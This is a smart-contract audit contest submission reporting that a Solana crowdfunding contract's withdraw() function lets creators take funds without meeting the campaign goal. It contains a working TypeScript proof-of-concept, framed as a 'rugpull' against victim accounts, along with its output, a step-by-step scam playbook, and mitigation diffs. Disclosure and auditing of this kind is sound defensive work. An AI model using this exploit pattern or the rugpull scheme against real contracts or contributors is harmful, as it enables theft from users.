Rust Fund

AI First Flight #9
Beginner FriendlyRust
EXP
View results
Submission Details
Severity: high
Valid

Missing Goal Validation Enables Instant Fund Theft Without Meeting Campaign Objectives

Root + Impact

Description

  • In a properly functioning crowdfunding smart contract, the withdraw() function must enforce that creators can only extract funds after the campaign successfully meets its funding goal [file:1]. The function should validate multiple success conditions before allowing withdrawal: (1) the fund.amount_raised must be greater than or equal to fund.goal, (2) the campaign deadline must have been reached, and (3) the campaign must be in a success state where the goal was met by the deadline. This ensures contributors' funds are only used for campaigns that achieve their stated objectives, providing the core accountability mechanism that distinguishes crowdfunding from donations. If a campaign fails to meet its goal, contributors should be able to reclaim their funds through the refund mechanism, not have them extracted by the creator.

  • The withdraw() function contains zero validation of campaign success conditions, lacking any checks that the funding goal was met before allowing the creator to extract all raised funds [file:1]. Lines 90-105 of lib.rs show the function directly transfers fund.amount_raised to the creator with only basic authorization (checking the creator is the signer) and arithmetic safety (overflow protection), but completely missing business logic validation. A creator can call withdraw() immediately after a single contributor sends 0.01 SOL to a campaign with a 100 SOL goal, draining the tiny contribution despite achieving only 0.01% of the stated objective. This transforms the contract from a conditional crowdfunding platform into an unconditional donation system where creators can steal any amount at any time, enabling systematic rugpull attacks where malicious actors create campaigns with impossible goals, collect small contributions from multiple victims, and immediately extract funds without delivering on any promises

pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> {
let amount = ctx.accounts.fund.amount_raised;
// @> CRITICAL MISSING VALIDATION #1:
// @> No check that goal was met
// @> Should have: require!(fund.amount_raised >= fund.goal, ErrorCode::GoalNotMet);
// @> CRITICAL MISSING VALIDATION #2:
// @> No check that deadline was reached
// @> Should have: require!(Clock::get()?.unix_timestamp >= fund.deadline, ErrorCode::DeadlineNotReached);
// @> CRITICAL MISSING VALIDATION #3:
// @> No check that campaign is in success state
// @> Should validate: goal met AND deadline reached = success
// Direct lamport transfer with NO business logic validation
**ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.fund.to_account_info().lamports()
.checked_sub(amount)
.ok_or(ProgramError::InsufficientFunds)?;
**ctx.accounts.creator.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.creator.to_account_info().lamports()
.checked_add(amount)
.ok_or(ErrorCode::CalculationOverflow)?;
// @> Function returns successfully regardless of campaign state
Ok(())
}

Risk

Likelihood:

  • The missing goal validation in withdraw() creates an unconditional theft vector accessible to every campaign creator from the moment any contribution is received [file:1]. The function sits in the critical path for fund extraction and will be discovered immediately by any creator who tests their campaign's functionality or reads the contract code. Unlike CRITICAL-01 (passive bug affecting refunds) or CRITICAL-02 (requires manipulation timing), this vulnerability actively enables theft through a single function call with zero prerequisites beyond having created a campaign and received at least one contribution. The bug manifests deterministically on every withdrawal attempt regardless of campaign state, funding level, or timing.

  • Malicious actors will inevitably exploit this vulnerability through systematic rugpull operations where creating campaigns with impossible goals and immediately withdrawing any contributions becomes a profitable attack pattern [code_file:12]. The attack requires no technical sophistication (single transaction), has no on-chain penalties (appears as normal withdrawal), creates no detection signatures (looks like successful campaign), and can be repeated indefinitely with different campaign names. Rational economic actors maximizing profit will discover that setting goal = 1000 SOL and withdrawing after raising 1 SOL generates risk-free returns. The absence of any goal validation means every campaign becomes a direct donation box where creators can extract funds at will, making exploitation not just likely but economically guaranteed.

Impact:

  • Contributors suffer immediate and total loss of funds through direct theft rather than system malfunction [code_file:12]. A creator sets a campaign goal of 100 SOL (appearing ambitious but achievable), receives 5 SOL in contributions from 10 different contributors (5% of goal), then immediately calls withdraw() and steals all 5 SOL without meeting the stated objective. Unlike CRITICAL-01 where funds are trapped due to a bug, or CRITICAL-02 where deadline manipulation creates delays, CRITICAL-03 represents intentional theft enabled by missing validation. The creator can repeat this attack pattern across unlimited campaigns—each taking less than 60 seconds to execute—systematically defrauding users with no recovery mechanism.

  • The vulnerability completely destroys the fundamental purpose of a crowdfunding protocol by removing the conditional nature of funding [file:1]. Crowdfunding differs from donations specifically because funds are contingent on goal achievement—contributors accept risk that campaigns may fail, but expect funds returned if objectives aren't met. By allowing withdrawals regardless of goal status, the contract becomes a misleading donation system where "goals" are meaningless numbers with no enforcement. This false advertising creates severe legal liability as users are deceived into thinking their contributions are protected by goal-based refund logic when in reality creators have unconditional access. The protocol cannot honestly call itself "crowdfunding" with this vulnerability present.

    Systemic Rugpull Enablement

    CRITICAL-03 enables professional rugpull operations at scale where attackers can systematically defraud users across multiple campaigns [code_file:12]. Attack pattern: (1) Create campaign with 100 SOL goal and appealing description, (2) Advertise on social media / crypto forums to attract contributors, (3) Receive 2-5 SOL from victims who believe it's a legitimate crowdfunding campaign, (4) Immediately withdraw all funds with a single transaction, (5) Abandon campaign and create new one under different name, (6) Repeat process indefinitely. Each campaign yields small but risk-free profit, and at scale (10-20 campaigns per day), generates significant illicit income. The vulnerability provides plausible deniability ("I withdrew after a single contribution, didn't know I needed to wait for goal") while actually being intentional theft.

Proof of Concept

import * as anchor from "@coral-xyz/anchor";
import { Program } from "@coral-xyz/anchor";
import { Rustfund } from "../target/types/rustfund";
import { PublicKey, LAMPORTS_PER_SOL } from '@solana/web3.js';
import { expect } from 'chai';
describe("[CRITICAL-03] Proof of Concept: No Goal Validation in Withdraw - Instant Rugpull", () => {
const provider = anchor.AnchorProvider.env();
anchor.setProvider(provider);
const program = anchor.workspace.Rustfund as Program<Rustfund>;
const creator = provider.wallet;
const victim1 = anchor.web3.Keypair.generate();
const victim2 = anchor.web3.Keypair.generate();
const victim3 = anchor.web3.Keypair.generate();
const fundName = "Rugpull Campaign";
const description = "Legitimately looking crowdfunding campaign";
const goal = new anchor.BN(100 * LAMPORTS_PER_SOL); // 100 SOL goal (very high)
const smallContribution = new anchor.BN(0.5 * LAMPORTS_PER_SOL); // 0.5 SOL
let fundPDA: PublicKey;
let contributionPDA1: PublicKey;
let contributionPDA2: PublicKey;
let contributionPDA3: PublicKey;
before(async () => {
// Airdrop SOL to victims
for (const victim of [victim1, victim2, victim3]) {
const airdrop = await provider.connection.requestAirdrop(
victim.publicKey,
2 * LAMPORTS_PER_SOL
);
await provider.connection.confirmTransaction(airdrop);
}
// Generate PDAs
[fundPDA] = await PublicKey.findProgramAddress(
[Buffer.from(fundName), creator.publicKey.toBuffer()],
program.programId
);
[contributionPDA1] = await PublicKey.findProgramAddress(
[fundPDA.toBuffer(), victim1.publicKey.toBuffer()],
program.programId
);
[contributionPDA2] = await PublicKey.findProgramAddress(
[fundPDA.toBuffer(), victim2.publicKey.toBuffer()],
program.programId
);
[contributionPDA3] = await PublicKey.findProgramAddress(
[fundPDA.toBuffer(), victim3.publicKey.toBuffer()],
program.programId
);
});
it("Step 1: Attacker creates campaign with unrealistic 100 SOL goal", async () => {
await program.methods
.fundCreate(fundName, description, goal)
.accounts({})
.rpc();
const fund = await program.account.fund.fetch(fundPDA);
console.log("\n=== MALICIOUS CAMPAIGN CREATED ===");
console.log(`Fund Name: ${fund.name}`);
console.log(`Goal: ${fund.goal.toNumber() / LAMPORTS_PER_SOL} SOL (intentionally high)`);
console.log(`Creator: ${fund.creator.toBase58()}`);
console.log(`Amount Raised: ${fund.amountRaised.toNumber() / LAMPORTS_PER_SOL} SOL`);
console.log(`\n🎭 Attack Setup: High goal makes success impossible`);
expect(fund.goal.toNumber()).to.equal(100 * LAMPORTS_PER_SOL);
expect(fund.amountRaised.toNumber()).to.equal(0);
});
it("Step 2: Set deadline (legitimacy theater)", async () => {
const deadline = new anchor.BN(Math.floor(Date.now() / 1000) + 86400); // 1 day
await program.methods
.setDeadline(deadline)
.accounts({
fund: fundPDA,
})
.rpc();
const fund = await program.account.fund.fetch(fundPDA);
console.log("\n=== DEADLINE SET ===");
console.log(`Deadline: ${new Date(fund.deadline.toNumber() * 1000).toISOString()}`);
console.log(`Purpose: Makes campaign appear legitimate`);
});
it("Step 3: Victims contribute 1.5 SOL total (only 1.5% of goal)", async () => {
const creatorBalanceBefore = await provider.connection.getBalance(creator.publicKey);
console.log("\n=== VICTIMS CONTRIBUTE ===");
// Victim 1 contributes 0.5 SOL
await program.methods
.contribute(smallContribution)
.accounts({
fund: fundPDA,
contributor: victim1.publicKey,
})
.signers([victim1])
.rpc();
console.log(`Victim 1 sent: 0.5 SOL`);
// Victim 2 contributes 0.5 SOL
await program.methods
.contribute(smallContribution)
.accounts({
fund: fundPDA,
contributor: victim2.publicKey,
})
.signers([victim2])
.rpc();
console.log(`Victim 2 sent: 0.5 SOL`);
// Victim 3 contributes 0.5 SOL
await program.methods
.contribute(smallContribution)
.accounts({
fund: fundPDA,
contributor: victim3.publicKey,
})
.signers([victim3])
.rpc();
console.log(`Victim 3 sent: 0.5 SOL`);
const fund = await program.account.fund.fetch(fundPDA);
const fundBalance = await provider.connection.getBalance(fundPDA);
console.log("\n=== CONTRIBUTION SUMMARY ===");
console.log(`Total Raised: ${fund.amountRaised.toNumber() / LAMPORTS_PER_SOL} SOL`);
console.log(`Goal: ${fund.goal.toNumber() / LAMPORTS_PER_SOL} SOL`);
console.log(`Progress: ${(fund.amountRaised.toNumber() / fund.goal.toNumber() * 100).toFixed(2)}%`);
console.log(`Fund PDA Balance: ${fundBalance / LAMPORTS_PER_SOL} SOL`);
console.log(`\n⚠️ Campaign Status: MASSIVELY UNDERFUNDED`);
console.log(` Expected: Goal NOT met → Creator cannot withdraw`);
console.log(` Reality: About to be exploited...`);
expect(fund.amountRaised.toNumber()).to.equal(1.5 * LAMPORTS_PER_SOL);
expect(fund.amountRaised.toNumber()).to.be.lessThan(fund.goal.toNumber());
});
it("Step 4: EXPLOIT - Creator withdraws despite NOT meeting goal", async () => {
const fund = await program.account.fund.fetch(fundPDA);
const creatorBalanceBefore = await provider.connection.getBalance(creator.publicKey);
const fundBalanceBefore = await provider.connection.getBalance(fundPDA);
console.log("\n=== RUGPULL ATTEMPT ===");
console.log(`Campaign Status:`);
console.log(` • Amount Raised: ${fund.amountRaised.toNumber() / LAMPORTS_PER_SOL} SOL`);
console.log(` • Goal Required: ${fund.goal.toNumber() / LAMPORTS_PER_SOL} SOL`);
console.log(` • Goal Met: ${fund.amountRaised.toNumber() >= fund.goal.toNumber() ? 'YES' : 'NO ❌'}`);
console.log(` • Deficit: ${(fund.goal.toNumber() - fund.amountRaised.toNumber()) / LAMPORTS_PER_SOL} SOL short`);
console.log(`\nCreator Balance Before: ${creatorBalanceBefore / LAMPORTS_PER_SOL} SOL`);
console.log(`Fund PDA Balance Before: ${fundBalanceBefore / LAMPORTS_PER_SOL} SOL`);
console.log(`\nAttempting withdraw() despite not meeting goal...`);
// Creator calls withdraw() - SHOULD FAIL but will succeed due to bug
await program.methods
.withdraw()
.accounts({
fund: fundPDA,
})
.rpc();
const creatorBalanceAfter = await provider.connection.getBalance(creator.publicKey);
const fundBalanceAfter = await provider.connection.getBalance(fundPDA);
const fundAfter = await program.account.fund.fetch(fundPDA);
const stolen = creatorBalanceAfter - creatorBalanceBefore;
console.log("\n💥 RUGPULL SUCCESSFUL - CRITICAL VULNERABILITY CONFIRMED:");
console.log(`Creator Balance After: ${creatorBalanceAfter / LAMPORTS_PER_SOL} SOL`);
console.log(`Fund PDA Balance After: ${fundBalanceAfter / LAMPORTS_PER_SOL} SOL`);
console.log(`\n💰 FUNDS STOLEN: ${stolen / LAMPORTS_PER_SOL} SOL`);
console.log(`\n🔴 BUG CONFIRMED:`);
console.log(` • withdraw() has NO goal validation`);
console.log(` • withdraw() has NO deadline validation`);
console.log(` • withdraw() has NO success condition check`);
console.log(` • Creator drained ${(stolen / LAMPORTS_PER_SOL).toFixed(2)} SOL with only 1.5% funding`);
// Verify the exploit succeeded
expect(stolen).to.be.greaterThan(1.4 * LAMPORTS_PER_SOL); // ~1.5 SOL stolen
expect(fundBalanceAfter).to.be.lessThan(0.1 * LAMPORTS_PER_SOL); // Fund emptied
});
it("Step 5: Victims discover they've been rugpulled", async () => {
const fund = await program.account.fund.fetch(fundPDA);
const fundBalance = await provider.connection.getBalance(fundPDA);
console.log("\n=== VICTIM IMPACT ANALYSIS ===");
console.log(`\n📊 Campaign Final State:`);
console.log(` • Goal: ${fund.goal.toNumber() / LAMPORTS_PER_SOL} SOL`);
console.log(` • Amount Raised (tracked): ${fund.amountRaised.toNumber() / LAMPORTS_PER_SOL} SOL`);
console.log(` • Actual PDA Balance: ${fundBalance / LAMPORTS_PER_SOL} SOL`);
console.log(` • Goal Achievement: ${(fund.amountRaised.toNumber() / fund.goal.toNumber() * 100).toFixed(2)}%`);
console.log(`\n💸 Victim Losses:`);
console.log(` • Victim 1: Lost 0.5 SOL`);
console.log(` • Victim 2: Lost 0.5 SOL`);
console.log(` • Victim 3: Lost 0.5 SOL`);
console.log(` • Total Stolen: 1.5 SOL (100% loss for victims)`);
console.log(`\n🚫 Why Victims Cannot Recover:`);
console.log(` • Campaign deadline not reached → refund() blocked`);
console.log(` • Even if deadline passed, CRITICAL-01 means refund returns 0 SOL`);
console.log(` • Fund PDA is empty - no funds to recover anyway`);
console.log(` • Creator has already extracted all funds`);
console.log(`\n⚡ Attack Timeline:`);
console.log(` 1. Campaign created with impossible 100 SOL goal`);
console.log(` 2. Victims contribute 1.5 SOL (thinking it's legitimate)`);
console.log(` 3. Creator immediately calls withdraw() - succeeds ✓`);
console.log(` 4. Creator steals 1.5 SOL with only 1.5% funding`);
console.log(` 5. Victims left with empty fund and no recourse`);
});
it("Step 6: Demonstrate systematic rugpull potential", async () => {
console.log("\n" + "=".repeat(80));
console.log("SYSTEMATIC RUGPULL ANALYSIS");
console.log("=".repeat(80));
console.log("\n🎯 Attack Scalability:");
console.log(` • Single rugpull profit: 1.5 SOL`);
console.log(` • Time to execute: < 1 minute`);
console.log(` • Campaigns per day: Unlimited`);
console.log(` • Total potential theft: Unlimited`);
console.log("\n🔄 Repeatable Attack Pattern:");
console.log(` 1. Create new campaign with high goal (100 SOL)`);
console.log(` 2. Wait for any contributions (even 0.01 SOL)`);
console.log(` 3. Immediately call withdraw()`);
console.log(` 4. Steal all contributions regardless of goal`);
console.log(` 5. Repeat with new campaign name`);
console.log("\n💀 Why This Is Worse Than CRITICAL-01 & CRITICAL-02:");
console.log(` • CRITICAL-01: Contributors lose funds on refund (passive bug)`);
console.log(` • CRITICAL-02: Creator can delay refunds (requires manipulation)`);
console.log(` • CRITICAL-03: Creator actively steals funds IMMEDIATELY ⚡`);
console.log(` No waiting, no manipulation needed`);
console.log(` Direct theft vector`);
console.log("\n⚠️ Combined Vulnerability Scenario:");
console.log(` If creator uses CRITICAL-02 + CRITICAL-03:`);
console.log(` 1. Manipulate deadline to keep campaign "active"`);
console.log(` 2. Accumulate large amount of contributions`);
console.log(` 3. Call withdraw() when ready - no goal check`);
console.log(` 4. Steal everything immediately`);
console.log(` 5. Contributors cannot refund (CRITICAL-01 + deadline manipulation)`);
console.log("\n🔧 Root Cause:");
console.log(` File: lib.rs`);
console.log(` Function: withdraw() (lines ~90-105)`);
console.log(` Missing Validations:`);
console.log(` ❌ require!(fund.amount_raised >= fund.goal)`);
console.log(` ❌ require!(deadline reached OR goal met)`);
console.log(` ❌ require!(campaign in success state)`);
console.log("\n" + "=".repeat(80));
});
it("Step 7: Verify withdraw() has zero protection", async () => {
console.log("\n=== WITHDRAW() FUNCTION SECURITY ANALYSIS ===");
console.log(`\n✅ What withdraw() DOES check:`);
console.log(` • Creator authorization (has_one = creator in account validation) ✓`);
console.log(` • Sufficient PDA balance (checked_sub) ✓`);
console.log(` • Overflow protection (checked_add) ✓`);
console.log(`\n❌ What withdraw() DOES NOT check:`);
console.log(` • Campaign goal met ✗`);
console.log(` • Deadline reached ✗`);
console.log(` • Campaign success state ✗`);
console.log(` • Minimum funding threshold ✗`);
console.log(` • Time-based restrictions ✗`);
console.log(` • Contributor consent ✗`);
console.log(`\n💣 Consequence:`);
console.log(` Creator can call withdraw() at ANY TIME for ANY AMOUNT`);
console.log(` Only requirement: Be the creator`);
console.log(` Result: Instant rugpull capability`);
console.log(`\n📋 Comparison with Standard Crowdfunding:`);
console.log(` Kickstarter: Funds released only if goal met ✓`);
console.log(` GoFundMe: Transparent withdrawal conditions ✓`);
console.log(` This contract: No withdrawal conditions ✗`);
});
});

POC RESULT:

[CRITICAL-03] Proof of Concept: No Goal Validation in Withdraw - Instant Rugpull
=== MALICIOUS CAMPAIGN CREATED ===
Fund Name: Rugpull Campaign
Goal: 100 SOL (intentionally high)
Creator: 7NHizJffomjBQGQhoSES196FRXk2v5rPtqvNF6vNZg2o
Amount Raised: 0 SOL
🎭 Attack Setup: High goal makes success impossible
✔ Step 1: Attacker creates campaign with unrealistic 100 SOL goal (412ms)
=== DEADLINE SET ===
Deadline: 2026-02-06T00:03:53.000Z
Purpose: Makes campaign appear legitimate
✔ Step 2: Set deadline (legitimacy theater) (404ms)
=== VICTIMS CONTRIBUTE ===
Victim 1 sent: 0.5 SOL
Victim 2 sent: 0.5 SOL
Victim 3 sent: 0.5 SOL
=== CONTRIBUTION SUMMARY ===
Total Raised: 1.5 SOL
Goal: 100 SOL
Progress: 1.50%
Fund PDA Balance: 1.53759096 SOL
⚠️ Campaign Status: MASSIVELY UNDERFUNDED
Expected: Goal NOT met → Creator cannot withdraw
Reality: About to be exploited...
✔ Step 3: Victims contribute 1.5 SOL total (only 1.5% of goal) (1220ms)
=== RUGPULL ATTEMPT ===
Campaign Status:
• Amount Raised: 1.5 SOL
• Goal Required: 100 SOL
• Goal Met: NO ❌
• Deficit: 98.5 SOL short
Creator Balance Before: 499999999.962369 SOL
Fund PDA Balance Before: 1.53759096 SOL
Attempting withdraw() despite not meeting goal...
💥 RUGPULL SUCCESSFUL - CRITICAL VULNERABILITY CONFIRMED:
Creator Balance After: 500000001.462364 SOL
Fund PDA Balance After: 0.03759096 SOL
💰 FUNDS STOLEN: 1.499995008 SOL
🔴 BUG CONFIRMED:
withdraw() has NO goal validation
withdraw() has NO deadline validation
withdraw() has NO success condition check
• Creator drained 1.50 SOL with only 1.5% funding
✔ Step 4: EXPLOIT - Creator withdraws despite NOT meeting goal (406ms)
=== VICTIM IMPACT ANALYSIS ===
📊 Campaign Final State:
• Goal: 100 SOL
• Amount Raised (tracked): 1.5 SOL
• Actual PDA Balance: 0.03759096 SOL
• Goal Achievement: 1.50%
💸 Victim Losses:
• Victim 1: Lost 0.5 SOL
• Victim 2: Lost 0.5 SOL
• Victim 3: Lost 0.5 SOL
• Total Stolen: 1.5 SOL (100% loss for victims)
🚫 Why Victims Cannot Recover:
• Campaign deadline not reached → refund() blocked
• Even if deadline passed, CRITICAL-01 means refund returns 0 SOL
• Fund PDA is empty - no funds to recover anyway
• Creator has already extracted all funds
⚡ Attack Timeline:
1. Campaign created with impossible 100 SOL goal
2. Victims contribute 1.5 SOL (thinking it's legitimate)
3. Creator immediately calls withdraw() - succeeds ✓
4. Creator steals 1.5 SOL with only 1.5% funding
5. Victims left with empty fund and no recourse
✔ Step 5: Victims discover they've been rugpulled
================================================================================
SYSTEMATIC RUGPULL ANALYSIS
================================================================================
🎯 Attack Scalability:
• Single rugpull profit: 1.5 SOL
• Time to execute: < 1 minute
• Campaigns per day: Unlimited
• Total potential theft: Unlimited
🔄 Repeatable Attack Pattern:
1. Create new campaign with high goal (100 SOL)
2. Wait for any contributions (even 0.01 SOL)
3. Immediately call withdraw()
4. Steal all contributions regardless of goal
5. Repeat with new campaign name
💀 Why This Is Worse Than CRITICAL-01 & CRITICAL-02:
• CRITICAL-01: Contributors lose funds on refund (passive bug)
• CRITICAL-02: Creator can delay refunds (requires manipulation)
• CRITICAL-03: Creator actively steals funds IMMEDIATELY ⚡
No waiting, no manipulation needed
Direct theft vector
⚠️ Combined Vulnerability Scenario:
If creator uses CRITICAL-02 + CRITICAL-03:
1. Manipulate deadline to keep campaign "active"
2. Accumulate large amount of contributions
3. Call withdraw() when ready - no goal check
4. Steal everything immediately
5. Contributors cannot refund (CRITICAL-01 + deadline manipulation)
🔧 Root Cause:
File: lib.rs
Function: withdraw() (lines ~90-105)
Missing Validations:
❌ require!(fund.amount_raised >= fund.goal)
❌ require!(deadline reached OR goal met)
❌ require!(campaign in success state)
================================================================================
✔ Step 6: Demonstrate systematic rugpull potential
=== WITHDRAW() FUNCTION SECURITY ANALYSIS ===
✅ What withdraw() DOES check:
• Creator authorization (has_one = creator in account validation) ✓
• Sufficient PDA balance (checked_sub) ✓
• Overflow protection (checked_add) ✓
❌ What withdraw() DOES NOT check:
• Campaign goal met ✗
• Deadline reached ✗
• Campaign success state ✗
• Minimum funding threshold ✗
• Time-based restrictions ✗
• Contributor consent ✗
💣 Consequence:
Creator can call withdraw() at ANY TIME for ANY AMOUNT
Only requirement: Be the creator
Result: Instant rugpull capability
📋 Comparison with Standard Crowdfunding:
Kickstarter: Funds released only if goal met ✓
GoFundMe: Transparent withdrawal conditions ✓
This contract: No withdrawal conditions ✗
✔ Step 7: Verify withdraw() has zero protection
7 passing (3s)

Recommended Mitigation

Add goal and Success validation

pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> {
+ let fund = &ctx.accounts.fund;
let amount = ctx.accounts.fund.amount_raised;
+ // Validate campaign has reached its deadline
+ let current_time: u64 = Clock::get()?.unix_timestamp.try_into().unwrap();
+ require!(
+ fund.deadline != 0 && current_time >= fund.deadline,
+ ErrorCode::DeadlineNotReached
+ );
+
+ // Validate campaign met its funding goal
+ require!(
+ fund.amount_raised >= fund.goal,
+ ErrorCode::GoalNotMet
+ );
+
+ // Optional: Validate minimum threshold (e.g., at least 1% of goal)
+ // This prevents withdrawal of dust amounts even if "goal" is met
+ require!(
+ amount > 0,
+ ErrorCode::NoFundsToWithdraw
+ );
**ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.fund.to_account_info().lamports()
.checked_sub(amount)
.ok_or(ProgramError::InsufficientFunds)?;
**ctx.accounts.creator.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.creator.to_account_info().lamports()
.checked_add(amount)
.ok_or(ErrorCode::CalculationOverflow)?;
Ok(())
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 2 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] H-01. Creators Can Withdraw Funds Without Meeting Campaign Goals

# H-01. Creators Can Withdraw Funds Without Meeting Campaign Goals **Severity:** High\ **Category:** Fund Management / Economic Security Violation ## Description The `withdraw` function in the RustFund contract allows creators to prematurely withdraw funds without verifying if the campaign goal was successfully met. ## Vulnerability Details In the current RustFund implementation (`lib.rs`), the `withdraw` instruction lacks logic to verify that the campaign's `amount_raised` is equal to or greater than the `goal`. Consequently, creators can freely withdraw user-contributed funds even when fundraising objectives haven't been met, undermining the core economic guarantees of the platform. **Vulnerable Component:** - File: `lib.rs` - Function: `withdraw` - Struct: `Fund` ## Impact - Creators can prematurely drain user-contributed funds. - Contributors permanently lose the ability to receive refunds if the creator withdraws early. - Severely damages user trust and undermines the economic integrity of the RustFund platform. ## Proof of Concept (PoC) ```js // Create fund with 5 SOL goal await program.methods .fundCreate(FUND_NAME, "Test fund", new anchor.BN(5 * LAMPORTS_PER_SOL)) .accounts({ fund, creator: creator.publicKey, systemProgram: SystemProgram.programId, }) .signers([creator]) .rpc(); // Contribute only 2 SOL (below goal) await program.methods .contribute(new anchor.BN(2 * LAMPORTS_PER_SOL)) .accounts({ fund, contributor: contributor.publicKey, contribution, systemProgram: SystemProgram.programId, }) .signers([contributor]) .rpc(); // Set deadline to past await program.methods .setDeadline(new anchor.BN(Math.floor(Date.now() / 1000) - 86400)) .accounts({ fund, creator: creator.publicKey }) .signers([creator]) .rpc(); // Attempt withdrawal (should fail but succeeds) await program.methods .withdraw() .accounts({ fund, creator: creator.publicKey, systemProgram: SystemProgram.programId, }) .signers([creator]) .rpc(); /* OUTPUT: Fund goal: 5 SOL Contributed amount: 2 SOL Withdrawal succeeded despite not meeting goal Fund balance after withdrawal: 0.00089088 SOL (rent only) */ ``` ## Recommendations Add conditional logic to the `withdraw` function to ensure the campaign has reached its fundraising goal before allowing withdrawals: ```diff pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> { let fund = &mut ctx.accounts.fund; + require!(fund.amount_raised >= fund.goal, ErrorCode::GoalNotMet); let amount = fund.amount_raised; **ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.fund.to_account_info().lamports() .checked_sub(amount) .ok_or(ProgramError::InsufficientFunds)?; **ctx.accounts.creator.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.creator.to_account_info().lamports() .checked_add(amount) .ok_or(ErrorCode::CalculationOverflow)?; Ok(()) } ``` Also define the new error clearly: ```diff #[error_code] pub enum ErrorCode { // existing errors... + #[msg("Campaign goal not met")] + GoalNotMet, } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!